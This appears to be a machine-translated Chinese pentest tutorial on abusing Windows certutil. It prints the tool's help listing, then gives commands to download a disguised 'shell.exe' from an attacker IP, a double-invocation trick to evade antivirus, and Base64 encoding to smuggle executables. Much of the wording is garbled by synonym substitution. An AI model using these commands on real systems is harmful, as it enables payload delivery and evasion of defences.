certutil东西的运用介绍
一、Certutil 介绍
Windows有一个名为CertUtil的内置程序,可用于在Windows中办理证书。运用此程序能够在Windows中装置,备份,删去,办理和履行与证书和证书存储相关的各种功用。
CertUtil的一个特性是能够从长途URL下载证书或任何其他文件,由于certutil是windows自带的exe。
运用语法 :"certutil.exe -urlcache -split -f [URL] output.file"
-f
掩盖现有文件。
有值的指令行选项。后边跟要下载的文件 url。
-split
保存到文件。
无值的指令行选项。加了的话就能够下载到当时途径,不加就下载到了默许途径。
-URLCache
显现或删去URL缓存条目。
无值的指令行选项。
可是此合法Windows服务现已被广泛滥用于歹意用处。
浸透中首要运用其 下载、编码、解码、代替数据流 等功用。
这儿我首先在指令行用certutil -?检查一下certutil一切的参数,接下来就总结一下最常用的几个关于certutil在内网浸透中的运用。
点击检查代码
C:\Users\123456\Desktop>certutil -?
动词:
-dump -- 转储装备信息或文件
-dumpPFX -- 转储 PFX 结构
-asn -- 剖析 ASN.1 文件
-decodehex -- 解码十六进制编码的文件
-decode -- 解码 Base64 编码的文件
-encode -- 将文件编码为 Base64
-deny -- 回绝挂起的恳求
-resubmit -- 从头提交挂起的恳求
-setattributes -- 为挂起恳求设置特点
-setextension -- 为挂起恳求设置扩展
-revoke -- 撤消证书
-isvalid -- 显现当时证书布置
-getconfig -- 获取默许装备字符串
-ping -- Ping Active Directory 证书服务恳求接口
-pingadmin -- Ping Active Directory 证书服务办理接口
-CAInfo -- 显现 CA 信息
-ca.cert -- 检索 CA 的证书
-ca.chain -- 检索 CA 的证书链
-GetCRL -- 获取 CRL
-CRL -- 发布新的 CRL [或仅增量 CRL]
-shutdown -- 封闭 Active Directory 证书服务
-installCert -- 装置证书颁布组织证书
-renewCert -- 续订证书颁布组织证书
-schema -- 转储证书架构
-view -- 转储证书视图
-db -- 转储原始数据库
-deleterow -- 删去服务器数据库行
-backup -- 备份 Active Directory 证书服务
-backupDB -- 备份 Active Directory 证书服务数据库
-backupKey -- 备份 Active Directory 证书服务证书和私钥
-restore -- 复原 Active Directory 证书服务
-restoreDB -- 复原 Active Directory 证书服务数据库
-restoreKey -- 复原 Active Directory 证书服务证书和私钥
-importPFX -- 导入证书和私钥
-dynamicfilelist -- 显现动态文件列表
-databaselocations -- 显现数据库方位
-hashfile -- 经过文件生成并显现加密哈希
-store -- 转储证书存储
-enumstore -- 枚举证书存储
-addstore -- 将证书增加到存储
-delstore -- 从存储删去证书
-verifystore -- 验证存储中的证书
-repairstore -- 修正密钥相关,或许更新证书特点或密钥安全描述符
-viewstore -- 转储证书存储
-viewdelstore -- 从存储删去证书
-UI -- 调用 CryptUI
-attest -- 验证密钥证明恳求
-dsPublish -- 将证书或 CRL 发布到 Active Directory
-ADTemplate -- 显现 AD 模板
-Template -- 显现注册战略模板
-TemplateCAs -- 显现模板的 CA
-CATemplates -- 显现 CA 的模板
-SetCASites -- 办理 CA 的站点称号
-enrollmentServerURL -- 显现、增加或删去与 CA 相关的注册服务器 URL
-ADCA -- 显现 AD CA
-CA -- 显现注册战略 CA
-Policy -- 显现注册战略
-PolicyCache -- 显现或删去注册战略缓存项目
-CredStore -- 显现、增加或删去凭证存储项目
-InstallDefaultTemplates -- 装置默许的证书模板
-URLCache -- 显现或删去 URL 缓存项目
-pulse -- 以脉冲办法履行主动注册事情或 NGC 使命
-MachineInfo -- 显现 Active Directory 计算机目标信息
-DCInfo -- 显现域控制器信息
-EntInfo -- 显现企业信息
-TCAInfo -- 显现 CA 信息
-SCInfo -- 显现智能卡信息
-SCRoots -- 办理智能卡根证书
-DeleteHelloContainer -- 删去 Hello 登录容器。
** 在运用此选项后, 用户需求刊出才干完结。**
-verifykeys -- 验证公/私钥集
-verify -- 验证证书,CRL 或链
-verifyCTL -- 验证 AuthRoot 或不允许的证书 CTL
-syncWithWU -- 与 Windows 更新同步
-generateSSTFromWU -- 经过 Windows 更新生成 SST
-generatePinRulesCTL -- 生成绑缚规矩 CTL
-downloadOcsp -- 下载 OCSP 呼应并写入目录
-generateHpkpHeader -- 运用指定文件或目录中的证书生成 HPKP 头
-flushCache -- 改写选定进程(例如 lsass.exe)中的指定缓存
-addEccCurve -- 增加 ECC 曲线
-deleteEccCurve -- 删去 ECC 曲线
-displayEccCurve -- 显现 ECC 曲线
-sign -- 从头签名 CRL 或证书
-vroot -- 创立/删去 Web 虚拟根和文件同享
-vocsproot -- 创立/删去 OCSP Web Proxy 的 Web 虚拟根
-addEnrollmentServer -- 增加注册服务器运用程序
-deleteEnrollmentServer -- 删去注册服务器运用程序
-addPolicyServer -- 增加战略服务器运用程序
-deletePolicyServer -- 删去战略服务器运用程序
-oid -- 显现 ObjectId 或设置显现称号
-error -- 显现错误代码音讯文本
-getreg -- 显现注册表值
-setreg -- 设置注册表值
-delreg -- 删去注册表值
-ImportKMS -- 为密钥存档导入用户密钥和证书到服务器数据库
-ImportCert -- 将证书文件导入数据库
-GetKey -- 检索存档的私钥康复 Blob,生成康复脚本 或康复存档的密钥
-RecoverKey -- 康复存档的私钥
-MergePFX -- 兼并 PFX 文件
-ConvertEPF -- 将 PFX 文件转换为 EPF 文件
-add-chain -- (-AddChain) 增加证书链
-add-pre-chain -- (-AddPrechain) 增加预植证书链
-get-sth -- (-GetSTH) 获取签名树头
-get-sth-consistency -- (-GetSTHConsistency) 获取签名树头更改
-get-proof-by-hash -- (-GetProofByHash) 获取哈希证明
-get-entries -- (-GetEntries) 获取项
-get-roots -- (-GetRoots) 获取根
-get-entry-and-proof -- (-GetEntryAndProof) 获取项和证明
-VerifyCT -- 验证证书 SCT
-? -- 显现该用法音讯
CertUtil -? -- 显现动词列表(命名列表)
CertUtil -dump -? -- 显现 "dump" 动词的协助文本
CertUtil -v -? -- 显现一切动词的一切协助文本
CertUtil: -? 指令成功完结。
二、常用功用介绍
2.1 下载长途文件
在 cmd 中将文件从网址上下载下来,保存为123.txtC:\Users\12345\Desktop>certutil.exe -urlcache -split -f "https://hackers.home/content.txt" 123.txt
假如超时没有操作的话就会显现回绝拜访
这儿有两种办法对杀软进行certutil下载绕过,实质都是履行两次certutil
榜首种办法是先履行一个独自的certutil,然后再履行下载exe的指令,能够看到这儿现已能够成功下载certutil & certutil -urlcache -split -f http://192.168.206.130/shell.exe office365.exe certutil | certutil -urlcache -split -f http://192.168.206.130/shell.exe office365.exe
2.2 将本地程序建立为http服务器
将本地可履行程序,建立为一个http服务器,端口为8000,并履行该服务
http://192.168.206.130:8000
C:\Users\12345\Desktop>123.exe -python -m http.server 8000
C:\Users\12345\Desktop>python -m http.server 8000
certutil -urlcache -split -f http://192.168.206.130:8000/123.exe
2.3 运用CertUtil + Base64来绕过安全软件
Certutil 包括一个编码参数(编码),这有助于在 Base64 中编码文件的内容。能够运用 certutil 对可履行文件进行编码,然后传输编码后的数据,在接纳机上对其进行解码。
常用与sql注入,对恣意文件进行Base64编码,使歹意代码样本看起来像是无害的文本文件,然后运用CertUtil.exe下载后对其进行解码。下载了文本文件运用“Certutil.exe -decode”指令将Base64编码文件解码为可履行文件。
将123.exe编码为123.txt
C:\Users\12345\Desktop>certutil.exe -encode 123.exe 123.txt
将123.txt解码为123.exe
C:\Users\12345\Desktop>certutil.exe -decode 123.txt 123.exe
更多详解参阅--->
https://mrwq.github.io/aggregate-paper/butian/certutil详解/